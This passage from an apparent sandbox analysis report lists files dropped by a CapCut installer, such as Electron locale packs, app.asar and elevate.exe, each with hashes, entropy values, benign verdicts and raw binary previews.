                                                                                                                                                                                                                                                                        Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.#...v.8...w.E...y.K...z.Z...|.`...}.r.....z.................................................................M.....{.............................v.......................n.....p.....t.................E.....c.......................;.......................0.....m...............................................$.....`...................................0.....y.................9.............................!.....(.....F.....n.......................3.............................F...........;.....`.......................7.....:.....n.................$.....Z.....................................................E.....#.......................Q.................c.............................#...../.....s.............................B.................*.....?.....d............... .....".....%.}...(.....*.O...+.R...,.p........./.....0.....1.u...3.....4.....5.....6.....7.]...8.....9.....;.'...<.G...=.j...>.....?.....@.....A.9...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\te.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):965006
                                                                                                                                                                                                                                                                        Entropy (8bit):4.295544641165274
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:wM9fKUyABW3p1F9SviTlw2cfgvNFOJgr/p54JVQJMwKpaJC28+58XoX0Doq9OyUk:wM9fKU6225jM9h
                                                                                                                                                                                                                                                                        MD5:F809BF5184935C74C8E7086D34EA306C
                                                                                                                                                                                                                                                                        SHA1:709AB3DECFF033CF2FA433ECC5892A7AC2E3752E
                                                                                                                                                                                                                                                                        SHA-256:9BBFA7A9F2116281BF0AF1E8FFB279D1AA97AC3ED9EBC80C3ADE19E922D7E2D4
                                                                                                                                                                                                                                                                        SHA-512:DE4B14DD6018FDBDF5033ABDA4DA2CB9F5FCF26493788E35D88C07A538B84FDD663EE20255DFD9C1AAC201F0CCE846050D2925C55BF42D4029CB78B057930ACD
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........o...h.@...i.Z...j.f...k.u...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................&...........5.....<.....C.....D.....E.....J.................5.....r.............................#.............................8.....~.......................T.....v.......................x...........#.....A.....c.......................s.......................=...................................V.................v...........>.....s.........................................h.....}.................L.....g.................n.......................:.....c.............................".....R.........................................%.....L.....s.................k...................................1.............................A.....V.....e...........".....r...........P...........>.............................U.....|... .....".....%.....(.q...*.....+.....,.........../.n...0.....1.#...3.F...4.....5.....6.O...7.....8.....9.$...;.Q...<.n...=.....>.....?.....@.....A.Z.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\th.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):811437
                                                                                                                                                                                                                                                                        Entropy (8bit):4.342029978594925
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:1Jf31Mkgs3s5UWgHLRflsjj8cKGXdlogG0EeuLADh7Kle9dKj753ohP09XAyFHyJ:1Qzt5/5l
                                                                                                                                                                                                                                                                        MD5:2C41616DFE7FCDB4913CFAFE5D097F95
                                                                                                                                                                                                                                                                        SHA1:CF7D9E8AD3AA47D683E47F116528C0E4A9A159B0
                                                                                                                                                                                                                                                                        SHA-256:F11041C48831C93AA11BBF885D330739A33A42DB211DACCF80192668E2186ED3
                                                                                                                                                                                                                                                                        SHA-512:97329717E11BC63456C56022A7B7F5DA730DA133E3FC7B2CC660D63A955B1A639C556B857C039A004F92E5F35BE61BF33C035155BE0A361E3CD6D87B549DF811
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........y.h.....i.....j.....k.....l.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....d.....l.....q.....y.............................................................................(.....7................................... .....Y.....k.............................=.....\.....z.............................^.................d.....................................................J.....w.......................F.....y...............................................,.....J.....t.................".....y.................E.....c...................................&.....G.....d.....................................................;...........P.................n.................j.........................................9.......................C.....{...........5.....>.....S..................... .....".....%.?...(.....*.....+.....,.........../.U...0.h...1.....3.....4.V...5.....6.)...7.J...8.....9.....;.....<.....=.....>.X...?.....@.....A.....C. ...D.<...E.o.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\tr.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):411446
                                                                                                                                                                                                                                                                        Entropy (8bit):5.6133974766805546
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:y1MAG26Pl1kY1bkQq/7I5NsA7WGgeh5X/0+gi1ZavXEAQwiBvVGI:9j2Yle66s5775X/R
                                                                                                                                                                                                                                                                        MD5:3A858619502C68D5F7DE599060F96DB9
                                                                                                                                                                                                                                                                        SHA1:80A66D9B5F1E04CDA19493FFC4A2F070200E0B62
                                                                                                                                                                                                                                                                        SHA-256:D81F28F69DA0036F9D77242B2A58B4A76F0D5C54B3E26EE96872AC54D7ABB841
                                                                                                                                                                                                                                                                        SHA-512:39A7EC0DFE62BCB3F69CE40100E952517B5123F70C70B77B4C9BE3D98296772F10D3083276BC43E1DB66ED4D9BFA385A458E829CA2A7D570825D7A69E8FBB5F4
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........}...h.\...i.m...j.w...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......".....'...../.....7.....?.....F.....M.....T.....U.....V.....X...........................................................L.....f.....h.....l.....................................................:.....O.....[.....~............................................... .....$.....,.....9.....N.....P.....S.....Z.....q.....................................................!.....(...../.....D.....X.....{.........................................3.....V.....e.....q.....|.............................................................................).....2.....9.....D.....L.....[.................!.....'.....o.................................................................9.....X.........................................!.....0.....G.....M... .X...".m...%.....(.....*.....+.....,.........../.....0.%...1.Z...3.g...4.}...5.....6.....7.....8.....9.2...;.B...<.M...=.Z...>.m...?.v...@.....A.....C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\uk.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):705061
                                                                                                                                                                                                                                                                        Entropy (8bit):4.868598768447113
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:wrccq9nty/KiDswU1nbx05kB3IjUUmEg5KuoLNiXElqnOyh:HGX35EEK
                                                                                                                                                                                                                                                                        MD5:EE70E9F3557B9C8C67BFB8DFCB51384D
                                                                                                                                                                                                                                                                        SHA1:FC4DFC35CDE1A00F97EEFE5E0A2B9B9C0149751E
                                                                                                                                                                                                                                                                        SHA-256:54324671A161F6D67C790BFD29349DB2E2D21F5012DC97E891F8F5268BDF7E22
                                                                                                                                                                                                                                                                        SHA-512:F4E1DA71CB0485851E8EBCD5D5CF971961737AD238353453DB938B4A82A68A6BBAF3DE7553F0FF1F915A0E6640A3E54F5368D9154B0A4AD38E439F5808C05B9F
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...................................!.....K.....d.....m.............................P.....R.....V.....~...................................%.....F.........................................1.....S.....y.............................!.....8.....Q.....[.....k.....{.............................A.....n.........................................(.....H.....l.....x.......................&.....=.........................................A.....D.....i.............................'...........1.....2.....B.....T.....f.....y.............................+.................$.....~...................................$.....R.......................<.....w.............................E.....u......... .....".....%.....(.....*.{...+.~...,.........../.....0. ...1.....3.....4.....5.....6.Z...7.}...8.....9.....;.....<.....=.....>.I...?.X...@.y...A.....C.1...D.J.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ur.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):617109
                                                                                                                                                                                                                                                                        Entropy (8bit):5.143761316646653
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:LbeI8PzGSEiyqkAXsA5rzTExbWW7mQYrjuUco/9NjjFpvIx:LbDwz5qWK
                                                                                                                                                                                                                                                                        MD5:FF0A23974AEF88AFC86ECC806DBF1D60
                                                                                                                                                                                                                                                                        SHA1:E7BAE97CBB8692A0D106644DFAA9B7D7EA6FCEF0
                                                                                                                                                                                                                                                                        SHA-256:F245AB242AAFEEF37DB736C780476534FAD0706AA66DCB8B6B8CD181B4778385
                                                                                                                                                                                                                                                                        SHA-512:AABE8160FAC7E0EB8E8EB80963FE995FA4A802147D1B8F605BC0FE3F8E2474463C1D313471C11C85EB5578112232FDC8E89B8A6D43DBE38A328538FF30A78D08
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........S...h.....i.....j.....k.+...l.6...n.>...o.C...p.P...r.V...s.g...t.p...v.....w.....y.....z.....|.....}.........................................................................v...............................................!.....c...............................................3.....Z.....g.............................:.....a.....k.....~.......................+.....\.....f.....y.........................................(.....J.....x.......................7.....F.....N.....U.....i...................................P.....c.....}.................(.....X.....g...............................................!.....?.....].....~.....................................................W.................C.............................!.....=.....C.....Q.....e.....k.......................^.......................+.....7.....L.....e............... .....".....%.....(.....*.K...+.N...,.l........./.....0.....1.....3.1...4.^...5.....6.....7.....8.S...9.l...;.....<.....=.....>.....?.....@.....A.....C.W.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\vi.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):488196
                                                                                                                                                                                                                                                                        Entropy (8bit):5.7988900625034185
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:gzLBn6cDgszBm0JXbwS1LcxzIJj758+UIi0+UELbzi830l:gpdDgsz00JrwSNizS5Hti0+UUvi830l
                                                                                                                                                                                                                                                                        MD5:3FE6F90F1F990AED508DEDA3810CE8C2
                                                                                                                                                                                                                                                                        SHA1:3B86F00666D55E984B4ACA1A5E8319FFA8F411FF
                                                                                                                                                                                                                                                                        SHA-256:5EEBB23221AEBCF0BE01BFC2695F7DD35B17F6769BE1E28E5610D35C9717854B
                                                                                                                                                                                                                                                                        SHA-512:9AA9D55F112C8B32AA636086CFD2161D97EA313CAC1A44101014128124A03504C992AC8EFD265ABA4E91787AEF7134A14507A600F5EC96FF82DF950A8883828C
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............h.j...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.!...}.3.....;.....@.....H.....P.....X....._.....f.....m.....n.....o.....q...............................................(.....2.....Y.....x.....z.....~................................... .....+.....D.....t...........................................................5.....L.....V.....a.....r...........................................................T.....q.................................................................o...................................<.....P.....[.....i.....|.........................................#.....:.....A.....D.....E.....N.....W.....c.....m.......................4.....C.....................................................2.....=....._.............................4.....i....................................... .....".....%.....(.E...*.j...+.m...,.........../.....0.....1.....3.....4.*...5.?...6.y...7.....8.....9.....;.....<.....=.....>.....?.'...@.I...A.u...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\zh-CN.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):354097
                                                                                                                                                                                                                                                                        Entropy (8bit):6.680890808929274
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:gchsAAfyrtJw99jEaZx79+vKK4/+kTme5zBNCJ7GAmlv:gAAfyrtJAoaZ+vKK4/ye5zBNCJ7C
                                                                                                                                                                                                                                                                        MD5:20F315D38E3B2EDC5832931E7770B62A
                                                                                                                                                                                                                                                                        SHA1:2390BD585DEC1E884873454BB98B6F1467DCF7BB
                                                                                                                                                                                                                                                                        SHA-256:53A803724BBF2E7F40AAB860325C348F786EECA1EA5CA39A76B4C4A616E3233F
                                                                                                                                                                                                                                                                        SHA-512:C338E241DE3561707C7C275B7D6E0FB16185A8CD7112057C08B74FFCE122148EF693FE310C839FF93F102726A78E61DE3E68C8E324F445A07A98EE9C4FDD4E13
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........?.h.....i.....j.....k.&...l.-...m.5...o.;...p.@...r.F...s.W...t.`...v.u...w.....|.....}...............................................................................%.....1.....C.....I.....\.....s.....y.....................................................#...../.....G.....S....._.................................................................+.....:.....@.....I.....[.....m.....s.....y...............................................$.....0.....6.....>.....E.....Q.....].....i............................................... .....D.....b.....q.....w............................................................................. .....5.....>.....G.....M.....W.....a.............................K.....].....o.................................................................,.....>.....g............................................. .....".....%.....(.)...*.>...+.A...,.n........./.....0.....1.....3.....4.....5.....6.N...7.c...8.x...9.....;.....<.....=.....>.....?.....@.....A.P...C.w...D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\zh-TW.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):350032
                                                                                                                                                                                                                                                                        Entropy (8bit):6.69437398216595
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:BiwxICJkrCU2JLuRyMD+4qz5MHzCtMkZ/9ybT1:BiyS0pMD+4qz5MHzd6/o
                                                                                                                                                                                                                                                                        MD5:524711882CBFB5B95A63EF48F884CFF0
                                                                                                                                                                                                                                                                        SHA1:1078037687CFC5D038EEB8B63D295239E0EDC47A
                                                                                                                                                                                                                                                                        SHA-256:9E16499CD96A155D410C8DF4C812C52FF2A750F8C4DB87FD891C1E58C1428C78
                                                                                                                                                                                                                                                                        SHA-512:16D45A81F7F4606EDA9D12A8B1DA06E3C866B11BDC0C92A4022BFB8D02B885D8F028457CF23E3F7589DFD191ED7F7FBC68C81B6E1411834EDFCBC9CC85E0DC4D
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........\.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.-...t.6...v.K...w.X...y.^...z.m...|.s...}..................................................................................... .....8.....N.....Z.....m...........................................................!.....*.....6.....S.....`.....l.....~.......................................................................#.....)...../.....5.....M.....\.....k.....}.............................................................................'.....T.....`.....l.....................................................,...../.....;.....M....._.....s.............................................................................I.....v.....|...............................................!.....'.....-.....?.....i.....................................................$.....8.....A... .M..."._...%.z...(.....*.....+.....,.........../.....0.....1.@...3.Q...4.i...5.....6.....7.....8.....9.....;.....<.....=.-...>.F...?.P...@.e...A.....C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resources.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):5245458
                                                                                                                                                                                                                                                                        Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                                                        MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                                                        SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                                                        SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                                                        SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resources\app.asar

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):8485716
                                                                                                                                                                                                                                                                        Entropy (8bit):5.542858466392455
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:49152:/n9CyBK3UK9tUv3UuAdFUnBUecSHNXC4215nL2S26L82ELcAJvsvRRvy4vS716Dh:/yUk7/x
                                                                                                                                                                                                                                                                        MD5:366496634611EE341ECCF789B9ACAB49
                                                                                                                                                                                                                                                                        SHA1:0BAA9B9C0DB8BE11B9A08B760D376E4D2ED9AA01
                                                                                                                                                                                                                                                                        SHA-256:296E0EC9838E3D54AA7E72C275DEB2599E9BCDA0401566C2AFBB3BF416DDC20F
                                                                                                                                                                                                                                                                        SHA-512:228EE3834712A08A3DD535C10F3FC44F786F2A96C333EAD0F99AB857C5F26375312E8A11544AA81B43D41765FEC7BCCB90BC0826C49E2C1C03CC4700A87C8F58
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:....L+..H+..C+..{"files":{"node_modules":{"files":{"@isaacs":{"files":{"cliui":{"files":{"LICENSE.txt":{"size":731,"integrity":{"algorithm":"SHA256","hash":"2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149","blockSize":4194304,"blocks":["2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149"]},"offset":"0"},"build":{"files":{"index.cjs":{"size":10398,"integrity":{"algorithm":"SHA256","hash":"820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607","blockSize":4194304,"blocks":["820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607"]},"offset":"731"},"index.d.cts":{"size":1050,"integrity":{"algorithm":"SHA256","hash":"385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b","blockSize":4194304,"blocks":["385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b"]},"offset":"11129"},"lib":{"files":{"index.js":{"size":10100,"integrity":{"algorithm":"SHA256","hash":"e67b3446f47d4a672339c99bea9e987979da9fc70f421701814cb9d52ba176

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resources\elevate.exe

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):107520
                                                                                                                                                                                                                                                                        Entropy (8bit):6.442687067441468
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
                                                                                                                                                                                                                                                                        MD5:792B92C8AD13C46F27C7CED0810694DF
                                                                                                                                                                                                                                                                        SHA1:D8D449B92DE20A57DF722DF46435BA4553ECC802
                                                                                                                                                                                                                                                                        SHA-256:9B1FBF0C11C520AE714AF8AA9AF12CFD48503EEDECD7398D8992EE94D1B4DC37
                                                                                                                                                                                                                                                                        SHA-512:6C247254DC18ED81213A978CCE2E321D6692848C64307097D2C43432A42F4F4F6D3CF22FB92610DFA8B7B16A5F1D94E9017CF64F88F2D08E79C0FE71A9121E40
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.......................................@....................................P.......x.......................T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\snapshot_blob.bin

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):273328
                                                                                                                                                                                                                                                                        Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                                                        MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                                                        SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                                                        SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                                                        SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\v8_context_snapshot.bin

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):588152
                                                                                                                                                                                                                                                                        Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                                                        MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                                                        SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                                                        SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                                                        SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vk_swiftshader.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):5334528
                                                                                                                                                                                                                                                                        Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                                                        MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                                                        SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                                                        SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                                                        SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vk_swiftshader_icd.json

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):106
                                                                                                                                                                                                                                                                        Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                                                        Encrypted:false
